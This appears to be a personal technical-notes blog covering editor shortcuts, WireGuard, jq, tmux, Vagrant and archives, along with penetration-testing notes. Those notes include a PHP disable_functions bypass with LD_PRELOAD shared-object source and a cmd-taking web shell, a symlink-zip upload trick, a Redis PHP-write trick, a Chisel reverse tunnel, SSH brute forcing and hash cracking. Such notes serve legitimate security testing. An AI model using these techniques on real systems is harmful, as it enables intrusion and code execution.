Just some tips I found useful

Helix

Fri, 12 Dec 2025 16:59:32 +0000

u: Undo
U: Redo azeaz aze

selection

% selection entire file
x selection current line (repeat for multiple lines)
- type v to be more precise afterwards (if you go select to much lines for example)
v start selection then move to select other
- v then t then the final char you want
- example vt[Enter] will select from the cursor to end of the line
C (maj-C) Copy selection next line
Alt-C (Alt-maj-C) Copy selection previous line
maw selection current word
map selection current paragraph
m open popup

selection manipulation

( Rotate main selection backward
) Rotate main selection forward
Alt-, Remove primary selection
Alt-; Flip selection cursor and anchor
Alt-( Rotate selection contents backward
Alt-) Rotate selection contents forward
J Join lines inside selection
Alt-J Join lines inside selection and select the inserted space
_: trim trailing white spaces from selection
ms(: add () around selection
mr(: add () around selection
ms(: add () around selection

search

/ then input pattern
? search for previous pattern
s select all regex matches inside selections
Alt-s negative search compare to previous s

move

[f go to next function
]f go to previous function

execution (open output data in an overlay)

:sh jq . %{buffer_name}

execution current selection

select wanted lines (% for all the file)
:pipe jq --indent 4

wrap

select the line(s)
:reflow 80 # wrapt at 80 characteres

Wireguard

Fri, 25 Aug 2023 09:04:26 +0000

Wireguard in NetworkManager

On ubuntu 22.04, it’s supported, but we have to import the configuration using CLI. (From SLT, Fedora have a nice menu to do so).

note: On ubuntu, it’s possible to try network-manager-wireguard, found via NetworkManager official gnome project website.

Github repo

Add a configuration

$ CONF_FILE="wg0.conf"
$ nmcli connection import type wireguard file "$CONF_FILE"
Connection 'wg0' (125d4b76-d230-47b0-9c31-bb7b9ebca861) successfully added.

Remove a configuration

$ nmcli connection delete wg0
Connection 'wg0' (125d4b76-d230-47b0-9c31-bb7b9ebca861) successfully deleted.

Edit a configuration

$ nmtui

Jq

Wed, 05 Apr 2023 18:38:41 +0000

JQ option or tricks

Iterate over an array:

jq '.items[]| .value

Select multiple elements:

jq '.items[] | "\(.Title); \(.Url)"

Equivalent

Nice interactive jq parser: fx

Firefox

Thu, 11 Feb 2021 10:39:02 +0000

Some extensions:

Wappanalyzer
container proxy
medium unlimited (by Manoj Vivek)
mooltipass extension

paywalls…

uMatrix (bypass parisien)
passer en more reader sur FF (Clt+Alt+R)
- le parisien
- le monde (45% de l’article)
utiliser https://outline.com
utiliser https://www.pressreader.com

Tunneling

Fri, 05 Feb 2021 06:26:29 +0000

Tunneling

Chisel

https://github.com/jpillora/chisel
Go
can be build cross platform
Create a tunnel between bounce and VM, then propagate our socks in it
DON’T OPEN A LISTENING PORT, make a connect back from the VM to our bounce

On the bounce:

(bounce)$ ./chisel server -p 443 --reverse --auth "<user:password>"

On the VM (client):

C:/> chisel client --auth "<user:password>" --proxy http://webcache.groupe.client.fr:3128 BOUNCE_IP:443 R:1080:socks

On the bounce we can check if it’s working:

(bounce)$ curl -k https://internal.hostname.client.fr/ --proxy socks5://127.0.0.1:1080

Then propagate the socks:

(laptop)$ ssh -N -L 1081:localhost:1080 user@bounce

Now we can use socks5:1081 on our laptop.

Go

Mon, 04 Jan 2021 08:10:31 +0000

Golang

Tracking memory leak

https://medium.com/@KentGruber/tracking-down-a-golang-memory-leak-with-grmon-74569a00a177

Build with tags

From https://www.digitalocean.com/community/tutorials/customizing-go-binaries-with-build-tags

File pro.go:

// +build pro
package main
func init(){
    features = append(features,
    Feat1,
    Feat2,
    )
}

Build using tags: go build -tags "pro" .

Vagrant

Fri, 06 Nov 2020 15:47:52 +0000

Vagrant

Starting with vagrant

vagrant init distrib/version

Example:

vagrant init <name> <url>
vagrant init ubuntu/focal
vagrant init debian/buster64

See https://app.vagrantup.com/boxes/ for your happiness

Change name “default”

In Vagrantfile:

config.vm.define "<NAME>"

Don’t mount current disk

In order to merge the configuration for all your box, in ~/.vagrant.d/Vagrantfile:

Vagrant.configure("2") do |config|
  [...]
  config.vm.synced_folder ".", "/vagrant", disabled: true
end

Up and stop

vagrant up default

vagrant halt default

SSH into it

ssh vagrant@127.0.0.1 -p 2222 -i ~/.vagrant/machines/default/virtualbox/private_key

Android

Thu, 15 Oct 2020 06:26:29 +0000

Root android phone on emulator

Some commands

android-backup-extractor (github.com)
- adb backup -apk -shared -all -f /tmp/backup.ad
- java -jar build/libs/abe.jar /tmp/backup.ad /tmp/backup.tar
~/Android/Sdk/build-tools/28.0.3/aapt d permissions app.apk
apksigner verify –verbose app.apk
Signature de l’app:
- decompress the APK
- openssl pkcs7 -inform DER -in original/META-INF/CERT.RSA -noout -print_certs -text
- OR
- keytool -printcert -file original/META-INF/CERT.RSA
Encrypted source code ?
- decompress the APK
- dex2jar classes.dex
- jd-gui classes-dex2jar.jar

tools

IOS

Thu, 15 Oct 2020 06:26:29 +0000

Java

Wed, 30 Sep 2020 12:46:26 +0000

new java.lang.ProcessBuilder("xcalc").start()

-(new java.lang.ProcessBuilder("xcalc").start())-

Cmdline

Fri, 10 Jul 2020 13:34:20 +0000

Select column using awk and apply base64 for one of them:

cat file | awk -F ':' '{ "echo -n "$3" | base64" | getlline x
print $1, $2, x}'

Exemple:

$ cat a
plop:glou:coin:qweqwe
foo:bar:test:qweqwe

$ cat testfile.txt | awk -F ':' '{ "echo -n "$3" | base64" | getline x
print $1, $2, x}'
plop glou Y29pbg==
foo bar dGVzdA==

Access environment variable (-v awk_var=env_var)

$ for a in $(seq 1 100)
do
nmap -p 25 --source-port $a www.example.com | grep tcp | awk -v var=$a '{print var ":" $1 ":" $2}'
done
1:25/tcp:open
2:25/tcp:open
3:25/tcp:open
4:25/tcp:open
5:25/tcp:open
6:25/tcp:open
7:25/tcp:filtered
8:25/tcp:open

tmux

copy - paste

Enter copy mode: Ctrl + <prefix> + [
Start selection: Ctrl+SPACE
Move with keys
Ctrl+w to copy into Tmux buffer
In the same tmux, but could be different windows/pane, vim /tmp/mycopy, insert mode then Ctrl+<prefix> + ]

Search

Enter copy mode: Ctrl + <prefix> + [
Ctrl+s to type the string to search
Enter search
Shift-n for reverse search
Shift-r for reverse direction

Create new session inside a session

Ctrl + <prefix> :new -s <name>

swap panes

Ctrl + <prefix> } swap-pane with the next one
Ctrl + <prefix> { swap-pane with the previous one

move panes

Ctrl + <prefix> :join-pane -s :1 bring active pane on window 1 to current window
or
Identify with Ctrl+ <prefix> + q then Ctrl + <prefix> :join-pane -s 1 bring pange 1 into the current space

zip

list file in zip:

unzip -l <file.zip>
zip -sf <file.zip>

extract one file from the zip:

unzip -p <file.zip> path/to/file > file
unzip -j <file.zip> path/to/file -d .

tar.gz

list file in tar.gz

tar -tvf <file.tar.gz>

compress with automatical detection of extension

tar -cvaf dir.tzst dir

decompress with automatical detection of extension

tar -xvaf dir.tzst

zst

zstd -l <file.zst>

Php

Fri, 10 Jul 2020 08:15:24 +0000

Bypass open_basedir and “disabled” functionaly

Bug description: https://bugs.php.net/bug.php?id=46741
Tools: git clone https://github.com/TarlogicSecurity/Chankro.git
Practical example:

/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(char *cmd) {
  char buf[512];
  strcpy(buf, cmd);
  strcat(buf, " > /tmp/_0utput.txt");
  system(buf);
}

int  geteuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}

<?php
  $cmd = $_GET['cmd'];

  echo putenv("LD_PRELOAD=/var/www/html/upload/XXXXXXXXXXXX-evil.so");
  echo putenv("_evilcmd=".$_GET['cmd']);
  echo mail("a@example.com", "a", "a");
  show_source("/tmp/_0utput.txt");
?>

Upload zip file

ZIP link

$ ln -s ../../../../../var/www/index.php myfile
[...]
$ zip --symlinks a.zip myfile

By uploading the ZIP file, if website performs UNZIP without been cautious, it will be possible to retrieve source code.

Password

Wed, 08 Jul 2020 14:32:45 +0000

printf '%d.%d.%d.%d\n' $(echo 0ab50f03 | sed 's/../0x& /g')

Crack specific format using john-the-ripper

https://github.com/piyushcse29/john-the-ripper/blob/master/doc/DYNAMIC

john -format='dynamic=md5($u.$c1.$p),c1=:ManagementRealm:' --wordlist /opt/passwords/rockyou.txt hashfile

We get no error just “No password hashes loaded” because the salt size was not the expected size

It’s possible to give salt size dymanically too, see the following example:

john --format="dynamic=sha512(sha512($p).$s),saltlen=128" --wordlist=/opt/wordlist/test hash

Password manager

https://www.passwordstore.org
bitwarden
passbolt (php)

Ssh

Wed, 08 Jul 2020 07:47:33 +0000

Test SSH authentication

Using nmap

nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passwd=passwords.txt <TARGET>

Using python script

TODO: Chose to create a github repos or a single gist…

git clone https://github.com/kalidor/gossh.py
gist get gossh.py

./gossh.py -U users.lst -P passwds.lst targets.lst -p 22

Tunnels

Dynamic forward

[prompt]%  
[prompt]% ~?
Supported escape sequences:
 ~.   - terminate connection (and any multiplexed sessions)
 ~B   - send a BREAK to the remote system
 ~C   - open a command line
 ~R   - request rekey
 ~V/v - decrease/increase verbosity (LogLevel)
 ~^Z  - suspend ssh
 ~#   - list forwarded connections
 ~&   - background ssh (when waiting for connections to terminate)
 ~?   - this message
 ~~   - send the escape character by typing it twice
[prompt]%
[prompt]% ~C
ssh> ?
Commands:
      -L[bind_address:]port:host:hostport    Request local forward
      -R[bind_address:]port:host:hostport    Request remote forward
      -D[bind_address:]port                  Request dynamic forward
      -KL[bind_address:]port                 Cancel local forward
      -KR[bind_address:]port                 Cancel remote forward
      -KD[bind_address:]port                 Cancel dynamic forward

Local forward

ssh -L XXXX:WEBISTE.FR:443 SSH_SERVER -i id_rsa -l USER

XXX: local port where the port 443 will be reachable
WEBSITE.FR: website i wanna access to
443: port the website is listening to
USER: SSH user

We can now doing the following to get access WEBSITE.FR:443 through SSH tunnel:

Redis

Wed, 01 Jul 2020 14:58:49 +0000

Setup new filename and add data init:

config set dbfilename plop.txt
set plop "<?php phpinfo();//?>"
save

Don’t forget to restore previous configuration:

config set dbfilename dump.rdb
save

Wordpress

Wed, 10 Jun 2020 19:58:31 +0000

wordpress pwning!!

Printer

Mon, 08 Jun 2020 12:40:11 +0000

Use canon_MD6150 from linux.

Vim

Thu, 04 Jun 2020 16:48:44 +0000

vim related:

Docker

Fri, 15 May 2020 11:35:40 +0000

Docker tips or regular things I forgot…

Tomcat

Mon, 11 May 2020 13:26:05 +0000

Tips to deploy/undeploy tomcat WAR application.

Git

Mon, 11 May 2020 09:01:00 +0000

Git option(s) or trick(s)

Win

Wed, 06 May 2020 14:52:47 +0000

Windows related: AdminSDHoler / PowerShell / LDAP

Sql

Wed, 06 May 2020 14:50:40 +0000

MSSQL / MySQL /

Sec

Wed, 06 May 2020 14:41:09 +0000

Security tools

Ruby

Wed, 06 May 2020 14:40:07 +0000

IRB.rc

Python

Wed, 06 May 2020 14:38:59 +0000

Requests / Virtualenv / Encoding

Links

Wed, 06 May 2020 14:37:12 +0000

Freebsd

Wed, 06 May 2020 14:34:40 +0000

Freebsd tips, useful for / after upgrade

Burp

Wed, 06 May 2020 14:33:38 +0000

Some useful tips I used

Photography

Wed, 06 May 2020 14:31:54 +0000

Night photo / Samyand / Image manipulation

Linux

Wed, 06 May 2020 14:28:55 +0000

Linux related stuff. Mostly relative to configuration

Metasploit

Wed, 06 May 2020 14:27:40 +0000

Metasploit related notes..

Archlinux notes

Wed, 06 May 2020 14:25:22 +0000

This is a tiny Archlinux personal notes:

Just some tips I found useful

Helix

selection

selection manipulation

search

move

execution (open output data in an overlay)

execution current selection

wrap

Wireguard

Wireguard in NetworkManager

Add a configuration

Remove a configuration

Edit a configuration

Jq

JQ option or tricks

Equivalent

Firefox

Tunneling

Tunneling

Chisel

Go

Golang

Tracking memory leak

Build with tags

Links

Vagrant

Vagrant

Starting with vagrant

Change name “default”

Don’t mount current disk

Up and stop

SSH into it

Android

Root android phone on emulator

Some commands

tools

IOS

Java

Cmdline

tmux

copy - paste

Search

Create new session inside a session

swap panes

move panes

zip

tar.gz

zst

Php

Bypass open_basedir and “disabled” functionaly

Upload zip file

Password

Decode F5 cookie

Crack specific format using john-the-ripper

Password manager

Ssh

Test SSH authentication

Using nmap

Using python script

Tunnels

Dynamic forward

Local forward

Redis

Wordpress

Printer

Vim

Docker

Tomcat

Git

Win

Sql

Sec

Ruby

Python

Links

Freebsd

Burp

Photography

Linux